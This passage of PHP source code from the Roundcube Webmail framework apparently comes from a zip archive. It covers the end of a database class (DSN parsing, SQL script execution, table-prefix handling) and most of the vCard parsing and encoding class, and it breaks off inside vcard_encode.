            $table = $prefix . $table;
        }

        if ($quoted) {
            $table = $this->quote_identifier($table);
        }

        return $table;
    }

    /**
     * Set class option value
     *
     * @param string $name  Option name
     * @param mixed  $value Option value
     */
    public function set_option($name, $value)
    {
        $this->options[$name] = $value;
    }

    /**
     * Set DSN connection to be used for the given table
     *
     * @param string $table Table name
     * @param string $mode  DSN connection ('r' or 'w') to be used
     */
    public function set_table_dsn($table, $mode)
    {
        $this->options['table_dsn_map'][$this->table_name($table)] = $mode;
    }

    /**
     * MDB2 DSN string parser
     *
     * @param string $dsn DSN string
     *
     * @return array DSN parameters
     */
    public static function parse_dsn($dsn)
    {
        if (empty($dsn)) {
            return null;
        }

        // Find phptype and dbsyntax
        if (($pos = strpos($dsn, '://')) !== false) {
            $str = substr($dsn, 0, $pos);
            $dsn = substr($dsn, $pos + 3);
        }
        else {
            $str = $dsn;
            $dsn = null;
        }

        // Get phptype and dbsyntax
        // $str => phptype(dbsyntax)
        if (preg_match('|^(.+?)\((.*?)\)$|', $str, $arr)) {
            $parsed['phptype']  = $arr[1];
            $parsed['dbsyntax'] = !$arr[2] ? $arr[1] : $arr[2];
        }
        else {
            $parsed['phptype']  = $str;
            $parsed['dbsyntax'] = $str;
        }

        if (empty($dsn)) {
            return $parsed;
        }

        // Get (if found): username and password
        // $dsn => username:password@protocol+hostspec/database
        if (($at = strrpos($dsn,'@')) !== false) {
            $str = substr($dsn, 0, $at);
            $dsn = substr($dsn, $at + 1);
            if (($pos = strpos($str, ':')) !== false) {
                $parsed['username'] = rawurldecode(substr($str, 0, $pos));
                $parsed['password'] = rawurldecode(substr($str, $pos + 1));
            }
            else {
                $parsed['username'] = rawurldecode($str);
            }
        }

        // Find protocol and hostspec
        // $dsn => proto(proto_opts)/database
        if (preg_match('|^([^(]+)\((.*?)\)/?(.*?)$|', $dsn, $match)) {
            $proto       = $match[1];
            $proto_opts  = $match[2] ? $match[2] : false;
            $dsn         = $match[3];
        }
        // $dsn => protocol+hostspec/database (old format)
        else {
            if (strpos($dsn, '+') !== false) {
                list($proto, $dsn) = explode('+', $dsn, 2);
            }
            if (   strpos($dsn, '//') === 0
                && strpos($dsn, '/', 2) !== false
                && $parsed['phptype'] == 'oci8'
            ) {
                // Oracle's "Easy Connect" syntax:
                // "username/password@[//]host[:port][/service_name]"
                // e.g. "scott/tiger@//mymachine:1521/oracle"
                $proto_opts = $dsn;
                $pos = strrpos($proto_opts, '/');
                $dsn = substr($proto_opts, $pos + 1);
                $proto_opts = substr($proto_opts, 0, $pos);
            }
            else if (strpos($dsn, '/') !== false) {
                list($proto_opts, $dsn) = explode('/', $dsn, 2);
            }
            else {
                $proto_opts = $dsn;
                $dsn = null;
            }
        }

        // process the different protocol options
        $parsed['protocol'] = !empty($proto) ? $proto : 'tcp';
        $proto_opts = rawurldecode($proto_opts);
        if (strpos($proto_opts, ':') !== false) {
            list($proto_opts, $parsed['port']) = explode(':', $proto_opts);
        }
        if ($parsed['protocol'] == 'tcp' && strlen($proto_opts)) {
            $parsed['hostspec'] = $proto_opts;
        }
        else if ($parsed['protocol'] == 'unix') {
            $parsed['socket'] = $proto_opts;
        }

        // Get database if any
        // $dsn => database
        if ($dsn) {
            // /database
            if (($pos = strpos($dsn, '?')) === false) {
                $parsed['database'] = rawurldecode($dsn);
            }
            else {
                // /database?param1=value1&param2=value2
                $parsed['database'] = rawurldecode(substr($dsn, 0, $pos));
                $dsn = substr($dsn, $pos + 1);

                if (strpos($dsn, '&') !== false) {
                    $opts = explode('&', $dsn);
                }
                else { // database?param1=value1
                    $opts = [$dsn];
                }
                foreach ($opts as $opt) {
                    list($key, $value) = explode('=', $opt);
                    if (!array_key_exists($key, $parsed) || false === $parsed[$key]) {
                        // don't allow params overwrite
                        $parsed[$key] = rawurldecode($value);
                    }
                }
            }

            // remove problematic suffix (#7034)
            $parsed['database'] = preg_replace('/;.*$/', '', $parsed['database']);

            // Resolve relative path to the sqlite database file
            // so for example it works with Roundcube Installer
            if (!empty($parsed['phptype']) && !empty($parsed['database'])
                && stripos($parsed['phptype'], 'sqlite') === 0
                && $parsed['database'][0] != '/'
                && strpos($parsed['database'], ':') === false
            ) {
                $parsed['database'] = INSTALL_PATH . $parsed['database'];
            }
        }

        return $parsed;
    }

    /**
     * Returns PDO DSN string from DSN array
     *
     * @param array $dsn DSN parameters
     *
     * @return string DSN string
     */
    protected function dsn_string($dsn)
    {
        $params = [];
        $result = $dsn['phptype'] . ':';

        if (isset($dsn['hostspec'])) {
            $params[] = 'host=' . $dsn['hostspec'];
        }

        if (isset($dsn['port'])) {
            $params[] = 'port=' . $dsn['port'];
        }

        if (isset($dsn['database'])) {
            $params[] = 'dbname=' . $dsn['database'];
        }

        if (!empty($params)) {
            $result .= implode(';', $params);
        }

        return $result;
    }

    /**
     * Returns driver-specific connection options
     *
     * @param array $dsn DSN parameters
     *
     * @return array Connection options
     */
    protected function dsn_options($dsn)
    {
        $result = [];

        if ($this->db_pconn) {
            $result[PDO::ATTR_PERSISTENT] = true;
        }

        if (!empty($dsn['prefetch'])) {
            $result[PDO::ATTR_PREFETCH] = (int) $dsn['prefetch'];
        }

        if (!empty($dsn['timeout'])) {
            $result[PDO::ATTR_TIMEOUT] = (int) $dsn['timeout'];
        }

        return $result;
    }

    /**
     * Execute the given SQL script
     *
     * @param string $sql SQL queries to execute
     *
     * @return bool True on success, False on error
     */
    public function exec_script($sql)
    {
        $sql  = $this->fix_table_names($sql);
        $buff = '';
        $exec = '';

        foreach (explode("\n", $sql) as $line) {
            $trimmed = trim($line);
            if ($trimmed == '' || preg_match('/^--/', $trimmed)) {
                continue;
            }

            if ($trimmed == 'GO') {
                $exec = $buff;
            }
            else if ($trimmed[strlen($trimmed)-1] == ';') {
                $exec = $buff . substr(rtrim($line), 0, -1);
            }

            if ($exec) {
                $this->query($exec);
                $buff = '';
                $exec = '';
                if ($this->db_error) {
                    break;
                }
            }
            else {
                $buff .= $line . "\n";
            }
        }

        return !$this->db_error;
    }

    /**
     * Parse SQL file and fix table names according to table prefix
     */
    protected function fix_table_names($sql)
    {
        if (!$this->options['table_prefix']) {
            return $sql;
        }

        $sql = preg_replace_callback(
            '/((TABLE|TRUNCATE( TABLE)?|(?<!ON )UPDATE|INSERT INTO|FROM'
            . '| ON(?! (DELETE|UPDATE))|REFERENCES|CONSTRAINT|FOREIGN KEY|INDEX|UNIQUE( INDEX)?)'
            . '\s+(IF (NOT )?EXISTS )?[`"]*)([^`"\( \r\n]+)/',
            [$this, 'fix_table_names_callback'],
            $sql
        );

        return $sql;
    }

    /**
     * Preg_replace callback for fix_table_names()
     */
    protected function fix_table_names_callback($matches)
    {
        $prefix = $this->options['table_prefix'];

        // Schema prefix (ends with a dot)
        if ($prefix[strlen($prefix)-1] === '.') {
            // These can't have a schema prefix
            if (preg_match('/(CONSTRAINT|UNIQUE|INDEX)[\s\t`"]*$/', $matches[1])) {
                $prefix = '';
            }
            else {
                // check if the identifier is quoted, then quote the prefix
                $last = $matches[1][strlen($matches[1])-1];

                if ($last === '`' || $last === '"') {
                    $prefix = substr($prefix, 0, -1) . $last . '.' . $last;
                }
            }
        }

        return $matches[1] . $prefix . $matches[count($matches)-1];
    }
}
PK
h�\{C�����%program/lib/Roundcube/rcube_vcard.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Logical representation of a vcard address record                    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Logical representation of a vcard-based address record
 * Provides functions to parse and export vCard data format
 *
 * @package    Framework
 * @subpackage Addressbook
 */
class rcube_vcard
{
    private static $values_decoded = false;
    private $raw = [
        'FN' => [],
        'N'  => [['','','','','']],
    ];
    private static $fieldmap = [
        'phone'    => 'TEL',
        'birthday' => 'BDAY',
        'website'  => 'URL',
        'notes'    => 'NOTE',
        'email'    => 'EMAIL',
        'address'  => 'ADR',
        'jobtitle' => 'TITLE',
        'department'  => 'X-DEPARTMENT',
        'gender'      => 'X-GENDER',
        'maidenname'  => 'X-MAIDENNAME',
        'anniversary' => 'X-ANNIVERSARY',
        'assistant'   => 'X-ASSISTANT',
        'manager'     => 'X-MANAGER',
        'spouse'      => 'X-SPOUSE',
        'edit'        => 'X-AB-EDIT',
        'groups'      => 'CATEGORIES',
    ];
    private $typemap = [
        'IPHONE'   => 'mobile',
        'CELL'     => 'mobile',
        'WORK,FAX' => 'workfax',
    ];
    private $phonetypemap = [
        'HOME1'       => 'HOME',
        'BUSINESS1'   => 'WORK',
        'BUSINESS2'   => 'WORK2',
        'BUSINESSFAX' => 'WORK,FAX',
        'MOBILE'      => 'CELL',
    ];
    private $addresstypemap = [
        'BUSINESS' => 'WORK',
    ];
    private $immap = [
        'X-JABBER' => 'jabber',
        'X-ICQ'    => 'icq',
        'X-MSN'    => 'msn',
        'X-AIM'    => 'aim',
        'X-YAHOO'  => 'yahoo',
        'X-SKYPE'  => 'skype',
        'X-SKYPE-USERNAME' => 'skype',
    ];

    public $business = false;
    public $displayname;
    public $surname;
    public $firstname;
    public $middlename;
    public $nickname;
    public $organization;
    public $email = [];

    public static $eol = "\r\n";


    /**
     * Constructor
     *
     * @param string $vcard    vCard content
     * @param string $charset  Charset of string values
     * @param bool   $detect   True if loading a 'foreign' vcard and extra heuristics
     *                         for charset detection is required
     * @param array  $fieldmap Fields mapping definition
     */
    public function __construct($vcard = null, $charset = RCUBE_CHARSET, $detect = false, $fieldmap = [])
    {
        if (!empty($fieldmap)) {
            $this->extend_fieldmap($fieldmap);
        }

        if (!empty($vcard)) {
            $this->load($vcard, $charset, $detect);
        }
    }

    /**
     * Load record from (internal, unfolded) vcard 3.0 format
     *
     * @param string $vcard   vCard string to parse
     * @param string $charset Charset of string values
     * @param bool   $detect  True if loading a 'foreign' vcard and extra heuristics
     *                        for charset detection is required
     */
    public function load($vcard, $charset = RCUBE_CHARSET, $detect = false)
    {
        self::$values_decoded = false;
        $this->raw = self::vcard_decode(self::cleanup($vcard));

        // resolve charset parameters
        if ($charset == null) {
            $this->raw = self::charset_convert($this->raw);
        }
        // vcard has encoded values and charset should be detected
        else if (self::$values_decoded) {
            if ($detect) {
                $charset = self::detect_encoding(self::vcard_encode($this->raw));
            }
            if ($charset != RCUBE_CHARSET) {
                $this->raw = self::charset_convert($this->raw, $charset);
            }
        }

        // find well-known address fields
        $this->displayname  = $this->raw['FN'][0][0] ?? '';
        $this->surname      = $this->raw['N'][0][0] ?? '';
        $this->firstname    = $this->raw['N'][0][1] ?? '';
        $this->middlename   = $this->raw['N'][0][2] ?? '';
        $this->nickname     = $this->raw['NICKNAME'][0][0] ?? '';
        $this->organization = $this->raw['ORG'][0][0] ?? '';
        $this->business     = (isset($this->raw['X-ABSHOWAS'][0][0]) && $this->raw['X-ABSHOWAS'][0][0] == 'COMPANY')
            || (!empty($this->organization) && isset($this->raw['N'][0]) && @implode('', (array) $this->raw['N'][0]) === '');

        if (!empty($this->raw['EMAIL'])) {
            foreach ((array) $this->raw['EMAIL'] as $i => $raw_email) {
                $this->email[$i] = is_array($raw_email) ? $raw_email[0] : $raw_email;
            }
        }

        // make the pref e-mail address the first entry in $this->email
        $pref_index = $this->get_type_index('EMAIL');
        if ($pref_index > 0) {
            $tmp = $this->email[0];
            $this->email[0] = $this->email[$pref_index];
            $this->email[$pref_index] = $tmp;
        }

        // fix broken vcards from Outlook that only supply ORG but not the required N or FN properties
        if (!strlen(trim($this->displayname . $this->surname . $this->firstname)) && strlen($this->organization)) {
            $this->displayname = $this->organization;
        }
    }

    /**
     * Return vCard data as associative array to be used in Roundcube address books
     *
     * @return array Hash array with key-value pairs
     */
    public function get_assoc()
    {
        $out     = ['name' => $this->displayname];
        $typemap = $this->typemap;

        // copy name fields to output array
        foreach (['firstname', 'surname', 'middlename', 'nickname', 'organization'] as $col) {
            if (is_string($this->$col) && strlen($this->$col)) {
                $out[$col] = $this->$col;
            }
        }

        if (!empty($this->raw['N'][0][3])) {
            $out['prefix'] = $this->raw['N'][0][3];
        }

        if (!empty($this->raw['N'][0][4])) {
            $out['suffix'] = $this->raw['N'][0][4];
        }

        // convert from raw vcard data into associative data for Roundcube
        foreach (array_flip(self::$fieldmap) as $tag => $col) {
            if (empty($this->raw[$tag])) {
                continue;
            }

            foreach ((array) $this->raw[$tag] as $i => $raw) {
                if (is_array($raw)) {
                    $k       = -1;
                    $key     = $col;
                    $subtype = '';

                    if (!empty($raw['type']) && is_array($raw['type'])) {
                        $raw['type'] = array_map('strtolower', $raw['type']);

                        $combined = implode(',', array_diff($raw['type'], ['internet', 'pref']));
                        $combined = strtoupper($combined);

                        if (!empty($typemap[$combined])) {
                            $subtype = $typemap[$combined];
                        }
                        else if (!empty($typemap[$raw['type'][++$k]])) {
                            $subtype = $typemap[$raw['type'][$k]];
                        }
                        else {
                            $subtype = $raw['type'][$k];
                        }

                        while ($k < count($raw['type']) && ($subtype == 'internet' || $subtype == 'pref')) {
                            $k++;
                            if (!empty($raw['type'][$k])) {
                                if (!empty($typemap[$raw['type'][$k]])) {
                                    $subtype = $typemap[$raw['type'][$k]];
                                }
                                else {
                                    $subtype = $raw['type'][$k];
                                }
                            }
                        }
                    }

                    // read vcard 2.1 subtype
                    if (!$subtype) {
                        foreach ($raw as $k => $v) {
                            if (!is_numeric($k) && $v === true && ($k = strtolower($k))
                                && !in_array($k, ['pref', 'internet', 'voice', 'base64'])
                            ) {
                                $k_uc    = strtoupper($k);
                                $subtype = $typemap[$k_uc] ?: $k;
                                break;
                            }
                        }
                    }

                    // force subtype if none set
                    if (!$subtype && preg_match('/^(email|phone|address|website)/', $key)) {
                        $subtype = 'other';
                    }

                    if ($subtype) {
                        $key .= ':' . $subtype;
                    }

                    // split ADR values into assoc array
                    if ($tag == 'ADR') {
                        if (isset($raw[2])) {
                            $value['street'] = $raw[2];
                        }
                        if (isset($raw[3])) {
                            $value['locality'] = $raw[3];
                        }
                        if (isset($raw[4])) {
                            $value['region'] = $raw[4];
                        }
                        if (isset($raw[5])) {
                            $value['zipcode'] = $raw[5];
                        }
                        if (isset($raw[6])) {
                            $value['country'] = $raw[6];
                        }
                        $out[$key][] = $value;
                    }
                    // support vCard v4 date format (YYYYMMDD)
                    else if ($tag == 'BDAY' && preg_match('/^([12][90]\d\d)([01]\d)([0123]\d)$/', $raw[0], $m)) {
                        $out[$key][] = sprintf('%04d-%02d-%02d', intval($m[1]), intval($m[2]), intval($m[3]));
                    }
                    else {
                        $out[$key][] = $raw[0];
                    }
                }
                else {
                    $out[$col][] = $raw;
                }
            }
        }

        // handle special IM fields as used by Apple
        foreach ($this->immap as $tag => $type) {
            if (!empty($this->raw[$tag])) {
                foreach ((array) $this->raw[$tag] as $i => $raw) {
                    $out['im:'.$type][] = $raw[0];
                }
            }
        }

        // copy photo data
        if (!empty($this->raw['PHOTO'])) {
            $out['photo'] = $this->raw['PHOTO'][0][0];
        }

        return $out;
    }

    /**
     * Convert the data structure into a vcard 3.0 string
     *
     * @param bool $folded Use RFC2425 folding
     *
     * @return string vCard output
     */
    public function export($folded = true)
    {
        $vcard = self::vcard_encode($this->raw);
        return $folded ? self::rfc2425_fold($vcard) : $vcard;
    }

    /**
     * Clear the given fields in the loaded vcard data
     *
     * @param array $fields List of field names to be reset
     */
    public function reset($fields = [])
    {
        if (empty($fields)) {
            $fields = ['FN', 'N', 'ORG', 'NICKNAME', 'EMAIL', 'ADR', 'BDAY'];
            $fields = array_merge(array_values(self::$fieldmap), array_keys($this->immap), $fields);
        }

        foreach ($fields as $f) {
            unset($this->raw[$f]);
        }

        if (empty($this->raw['N'])) {
            $this->raw['N'] = [['','','','','']];
        }

        if (empty($this->raw['FN'])) {
            $this->raw['FN'] = [];
        }

        $this->email = [];
    }

    /**
     * Setter for address record fields
     *
     * @param string $field Field name
     * @param mixed  $value Field value
     * @param string $type  Type/section name
     */
    public function set($field, $value, $type = 'HOME')
    {
        $field   = strtolower($field);
        $type_uc = strtoupper((string) $type);

        switch ($field) {
        case 'name':
        case 'displayname':
            $this->raw['FN'][0][0] = $this->displayname = $value;
            break;

        case 'surname':
            $this->raw['N'][0][0] = $this->surname = $value;
            break;

        case 'firstname':
            $this->raw['N'][0][1] = $this->firstname = $value;
            break;

        case 'middlename':
            $this->raw['N'][0][2] = $this->middlename = $value;
            break;

        case 'prefix':
            $this->raw['N'][0][3] = $value;
            break;

        case 'suffix':
            $this->raw['N'][0][4] = $value;
            break;

        case 'nickname':
            $this->raw['NICKNAME'][0][0] = $this->nickname = $value;
            break;

        case 'organization':
            $this->raw['ORG'][0][0] = $this->organization = $value;
            break;

        case 'photo':
            if (strpos($value, 'http:') === 0) {
                // TODO: fetch file from URL and save it locally?
                $this->raw['PHOTO'][0] = [0 => $value, 'url' => true];
            }
            else {
                $this->raw['PHOTO'][0] = [0 => $value, 'base64' => (bool) preg_match('![^a-z0-9/=+-]!i', $value)];
            }
            break;

        case 'email':
            $this->raw['EMAIL'][] = [0 => $value, 'type' => array_filter(['INTERNET', $type_uc])];
            $this->email[] = $value;
            break;

        case 'im':
            // save IM subtypes into extension fields
            $typemap = array_flip($this->immap);
            if (!empty($typemap[strtolower($type)])) {
                $field = $typemap[strtolower($type)];
                $this->raw[$field][] = [$value];
            }
            break;

        case 'birthday':
        case 'anniversary':
            if (($val = rcube_utils::anytodatetime($value)) && !empty(self::$fieldmap[$field])) {
                $fn = self::$fieldmap[$field];
                $this->raw[$fn][] = [0 => $val->format('Y-m-d'), 'value' => ['date']];
            }
            break;

        case 'address':
            if (!empty($this->addresstypemap[$type_uc])) {
                $type = $this->addresstypemap[$type_uc];
            }

            if (empty($value[0])) {
                $value = [
                    '',
                    '',
                    $value['street'] ?? '',
                    $value['locality'] ?? '',
                    $value['region'] ?? '',
                    $value['zipcode'] ?? '',
                    $value['country'] ?? '',
                ];
            }

            // fall through if not empty
            if (!strlen(@implode('', $value))) {
                break;
            }

        default:
            if ($field == 'phone' && !empty($this->phonetypemap[$type_uc])) {
                $type = $this->phonetypemap[$type_uc];
            }

            if (!empty(self::$fieldmap[$field])) {
                $tag = self::$fieldmap[$field];

                if (is_array($value) || (is_string($value) && strlen($value))) {
                    $this->raw[$tag][] = (array) $value;
                    if ($type) {
                        $index    = count($this->raw[$tag]) - 1;
                        $typemap  = array_flip($this->typemap);
                        $type_val = !empty($typemap[$type_uc]) ? $typemap[$type_uc] : $type;
                        $this->raw[$tag][$index]['type'] = explode(',', $type_val);
                    }
                }
                else {
                    unset($this->raw[$tag]);
                }
            }

            break;
        }
    }

    /**
     * Setter for individual vcard properties
     *
     * @param string $tag    VCard tag name
     * @param array  $value  Value-set of this vcard property
     * @param bool   $append Set to true if the value-set should be appended
     *                       instead of replacing any existing value-set
     */
    public function set_raw($tag, $value, $append = false)
    {
        $index = $append && isset($this->raw[$tag]) ? count($this->raw[$tag]) : 0;
        $this->raw[$tag][$index] = (array) $value;
    }

    /**
     * Find index with the '$type' attribute
     *
     * @param string $field Field name
     *
     * @return int Field index having $type set
     */
    private function get_type_index($field)
    {
        $result = 0;
        if (!empty($this->raw[$field])) {
            foreach ((array) $this->raw[$field] as $i => $data) {
                if (isset($data['type']) && is_array($data['type']) && in_array_nocase('pref', $data['type'])) {
                    $result = $i;
                }
            }
        }

        return $result;
    }

    /**
     * Convert a whole vcard (array) to UTF-8.
     * If $force_charset is null, each member value that has a charset parameter will be converted
     */
    private static function charset_convert($card, $force_charset = null)
    {
        foreach ($card as $key => $node) {
            foreach ($node as $i => $subnode) {
                if (!is_array($subnode)) {
                    continue;
                }

                $charset = $force_charset;
                if (!$charset && isset($subnode['charset'][0])) {
                    $charset = $subnode['charset'][0];
                }

                if ($charset) {
                    foreach ($subnode as $j => $value) {
                        if (is_numeric($j) && is_string($value)) {
                            $card[$key][$i][$j] = rcube_charset::convert($value, $charset);
                        }
                    }
                    unset($card[$key][$i]['charset']);
                }
            }
        }

        return $card;
    }

    /**
     * Extends fieldmap definition
     *
     * @param array $map Field mapping definition
     */
    public function extend_fieldmap($map)
    {
        if (is_array($map)) {
            self::$fieldmap = array_merge($map, self::$fieldmap);
        }
    }

    /**
     * Factory method to import a vcard file
     *
     * @param string $data vCard file content
     *
     * @return rcube_vcard[] List of rcube_vcard objects
     */
    public static function import($data)
    {
        $out = [];

        if (($charset = self::detect_encoding($data)) && $charset != RCUBE_CHARSET) {
            $data = rcube_charset::convert($data, $charset);
            $data = preg_replace(['/^[\xFE\xFF]{2}/', '/^\xEF\xBB\xBF/', '/^\x00+/'], '', $data); // also remove BOM
            $charset = RCUBE_CHARSET;
        }

        $vcard_block    = '';
        $in_vcard_block = false;

        foreach (preg_split("/[\r\n]+/", $data) as $line) {
            if ($in_vcard_block && !empty($line)) {
                $vcard_block .= $line . "\n";
            }

            $line = trim($line);

            if (preg_match('/^END:VCARD$/i', $line)) {
                // parse vcard
                $obj = new rcube_vcard($vcard_block, $charset, false, self::$fieldmap);

                // FN and N is required by vCard format (RFC 2426)
                // on import we can be less restrictive, let's addressbook decide
                if (!empty($obj->displayname) || !empty($obj->surname) || !empty($obj->firstname) || !empty($obj->email)) {
                    $out[] = $obj;
                }

                $in_vcard_block = false;
            }
            else if (preg_match('/^BEGIN:VCARD$/i', $line)) {
                $vcard_block    = $line . "\n";
                $in_vcard_block = true;
            }
        }

        return $out;
    }

    /**
     * Normalize vcard data for better parsing
     *
     * @param string $vcard vCard block
     *
     * @return string Cleaned vcard block
     */
    public static function cleanup($vcard)
    {
        // convert Apple X-ABRELATEDNAMES into X-* fields for better compatibility
        $vcard = preg_replace_callback(
            '/item(\d+)\.(X-ABRELATEDNAMES)([^:]*?):(.*?)item\1.X-ABLabel:(?:_\$!<)?([\w() -]*)(?:>!\$_)?./s',
            ['rcube_vcard', 'x_abrelatednames_callback'],
            $vcard);

        // Cleanup
        $vcard = preg_replace(
            [
                // convert special types (like Skype) to normal type='skype' classes with this simple regex ;)
                '/item(\d+)\.(TEL|EMAIL|URL)([^:]*?):(.*?)item\1.X-ABLabel:(?:_\$!<)?([\w() -]*)(?:>!\$_)?./si',
                '/^item\d*\.X-AB.*$/mi',  // remove cruft like item1.X-AB*
                '/^item\d*\./mi',         // remove item1.ADR instead of ADR
                '/\n+/',                  // remove empty lines
                '/^(N:[^;\r\n]*)$/m',     // if N doesn't have any semicolons, add some
            ],
            [
                '\2;type=\5\3:\4',
                '',
                '',
                "\n",
                '\1;;;;',
            ],
            $vcard
        );

        // convert X-WAB-GENDER to X-GENDER
        if (preg_match('/X-WAB-GENDER:(\d)/', $vcard, $matches)) {
            $value = $matches[1] == '2' ? 'male' : 'female';
            $vcard = preg_replace('/X-WAB-GENDER:\d/', 'X-GENDER:' . $value, $vcard);
        }

        return $vcard;
    }

    /**
     * Apple X-ABRELATEDNAMES converter callback
     *
     * @param array $matches Matching entries
     *
     * @return string Replacement string
     */
    private static function x_abrelatednames_callback($matches)
    {
        return 'X-' . strtoupper($matches[5]) . $matches[3] . ':'. $matches[4];
    }

    /**
     * RFC2425 folding callback
     *
     * @param array $matches Matching entries
     *
     * @return string Replacement string
     */
    private static function rfc2425_fold_callback($matches)
    {
        // chunk_split string and avoid lines breaking multibyte characters
        $c = 71;
        $out = substr($matches[1], 0, $c);

        for ($n = $c; $c < strlen($matches[1]); $c++) {
            // break if length > 75 or multibyte character starts after position 71
            if ($n > 75 || ($n > 71 && ord($matches[1][$c]) >> 6 == 3)) {
                $out .= "\r\n ";
                $n = 0;
            }

            $out .= $matches[1][$c];
            $n++;
        }

        return $out;
    }

    /**
     * Apply RFC2425 folding to a vCard content
     *
     * @param string $val vCard content
     *
     * @return string Folded vCard string
     */
    public static function rfc2425_fold($val)
    {
        return preg_replace_callback('/([^\n]{72,})/', ['rcube_vcard', 'rfc2425_fold_callback'], $val);
    }

    /**
     * Decodes a vcard block (vcard 3.0 format, unfolded) into an array structure
     *
     * @param string $vcard vCard block to parse
     *
     * @return array Raw data structure
     */
    private static function vcard_decode($vcard)
    {
        // Perform RFC2425 line unfolding and split lines
        $vcard  = preg_replace(["/\r/", "/\n\s+/"], '', $vcard);
        $lines  = explode("\n", $vcard);
        $result = [];

        for ($i=0; $i < count($lines); $i++) {
            if (!($pos = strpos($lines[$i], ':'))) {
                continue;
            }

            $prefix = substr($lines[$i], 0, $pos);
            $data   = substr($lines[$i], $pos+1);

            if (preg_match('/^(BEGIN|END)$/i', $prefix)) {
                continue;
            }

            // convert 2.1-style "EMAIL;internet;home:" to 3.0-style "EMAIL;TYPE=internet;TYPE=home:"
            if (
                !empty($result['VERSION'])
                && $result['VERSION'][0] == "2.1"
                && preg_match('/^([^;]+);([^:]+)/', $prefix, $regs2)
                && !preg_match('/^TYPE=/i', $regs2[2])
            ) {
                $prefix = $regs2[1];
                foreach (explode(';', $regs2[2]) as $prop) {
                    $prefix .= ';' . (strpos($prop, '=') ? $prop : 'TYPE='.$prop);
                }
            }

            if (preg_match_all('/([^\\;]+);?/', $prefix, $regs2)) {
                $entry = [];
                $field = strtoupper($regs2[1][0]);
                $enc   = null;

                foreach ($regs2[1] as $attrid => $attr) {
                    $attr = preg_replace('/[\s\t\n\r\0\x0B]/', '', $attr);

                    if ((@list($key, $value) = explode('=', $attr)) && $value) {
                        if ($key == 'ENCODING') {
                            $value = strtoupper($value);
                            // add next line(s) to value string if QP line end detected
                            if ($value == 'QUOTED-PRINTABLE') {
                                while (preg_match('/=$/', $lines[$i])) {
                                    $data .= "\n" . $lines[++$i];
                                }
                            }
                            $enc = $value == 'BASE64' ? 'B' : $value;
                        }
                        else {
                            $lc_key = strtolower($key);
                            $value  = (array) self::vcard_unquote($value, ',');

                            if (array_key_exists($lc_key, $entry)) {
                                $entry[$lc_key] = array_merge((array) $entry[$lc_key], $value);
                            }
                            else {
                                $entry[$lc_key] = $value;
                            }
                        }
                    }
                    else if ($attrid > 0) {
                        $entry[strtolower($key)] = true;  // true means attr without =value
                    }
                }

                // decode value
                if ($enc || !empty($entry['base64'])) {
                    // save encoding type (#1488432)
                    if ($enc == 'B') {
                        $entry['encoding'] = 'B';
                        // should we use vCard 3.0 instead?
                        // $entry['base64'] = true;
                    }

                    $data = self::decode_value($data, $enc ?: 'base64');
                }
                else if ($field == 'PHOTO') {
                    // vCard 4.0 data URI, "PHOTO:data:image/jpeg;base64,..."
                    if (preg_match('/^data:[a-z\/_-]+;base64,/i', $data, $m)) {
                        $entry['encoding'] = $enc = 'B';
                        $data = substr($data, strlen($m[0]));
                        $data = self::decode_value($data, 'base64');
                    }
                }

                if ($enc != 'B' && empty($entry['base64'])) {
                    $data = self::vcard_unquote($data);
                }

                if (is_array($data) || (is_string($data) && strlen($data))) {
                    $entry = array_merge($entry, (array) $data);
                    $result[$field][] = $entry;
                }
            }
        }

        unset($result['VERSION']);

        return $result;
    }

    /**
     * Decode a given string with the encoding rule from ENCODING attributes
     *
     * @param string $value    String to decode
     * @param string $encoding Encoding type (quoted-printable and base64 supported)
     *
     * @return string Decoded 8bit value
     */
    private static function decode_value($value, $encoding)
    {
        switch (strtolower($encoding)) {
        case 'quoted-printable':
            self::$values_decoded = true;
            return quoted_printable_decode($value);

        case 'base64':
        case 'b':
            self::$values_decoded = true;
            return base64_decode($value);

        default:
            return $value;
        }
    }

    /**
     * Encodes an entry for storage in our database (vcard 3.0 format, unfolded)
     *
     * @param array $data Raw data structure to encode
     *
     * @return string vCard encoded string
     */
    static function vcard_encode($data)
    {
        $vcard = '';

        // Make sure FN is not empty (required by RFC2426)
        if (empty($data['FN'])) {
            $data['FN'] = !empty($data['EMAIL'][0][0]) ? $data['EMAIL'][0][0] : '';
        }

        // Make sure N is not empty (required by RFC2426)
        if (empty($data['N'])) {
            $data['N'] = [['', '', '', '', '']];
        }

        // Valid N has 5 properties
        while (isset($data['N'][0]) && is_array($data['N'][0]) && count($data['N'][0]) < 5) {
            $data['N'][0][] = '';
        }

        foreach ((array)$data as $type => $entries) {
            foreach ((array)$entries as $entry) {
                $attr = '';
                if (is_array($entry)) {
                    $value = [];
                    foreach ($entry as $attrname => $attrvalues) {
                        if (is_int($attrname)) {
                            if (!empty($entry['base64']) || (!empty($entry['encoding']) && $entry['encoding'] == 'B')) {
                                $attrvalues = base64_encode($attrvalues);
                            }
                            $value[] = $attrvalues;
                        }
                        else if (is_bool($attrvalues)) {
                            // true means just a tag, not tag=value, as in PHOTO;BASE64:...
                            if ($attrvalues) {
                                // vCard v3 uses ENCODING=b (#1489183)
                                if ($attrname == 'base64') {
                                    $attr .= ";ENCODING=b";
                                }
                                else {
                                    $attr .= strtoupper(";$attrname");
                                }
                            }
                        }
                        else {
                            foreach ((array)$attrvalues as $attrvalue) {
                                $attrname = strtoupper($attrname);
                                // TYPE=OTHER is non-standard, TYPE=INTERNET is redundant, remove these
                                if ($attrname == 'TYPE') {
                                    $attrvalue = array_map('strtolower', (array) $attrvalue);
                                    $attrvalue = array_diff($attrvalue, ['other', 'internet']);
                                    if (empty($attrvalue)) {
                                        continue;
                                    }
                                }

                                $attr .= ';' . $attrname . '=' . self::vcard_quote($attrvalue, ',');
                            }
                        }
                    }
                }
                else {
                    $value = $entry;
                }

                // Skip empty entries that aren't required by vCard v3 format
                if (!in_array($type, ['N', 'FN']) && self::is_empty($value)) {
                    continue;
                }

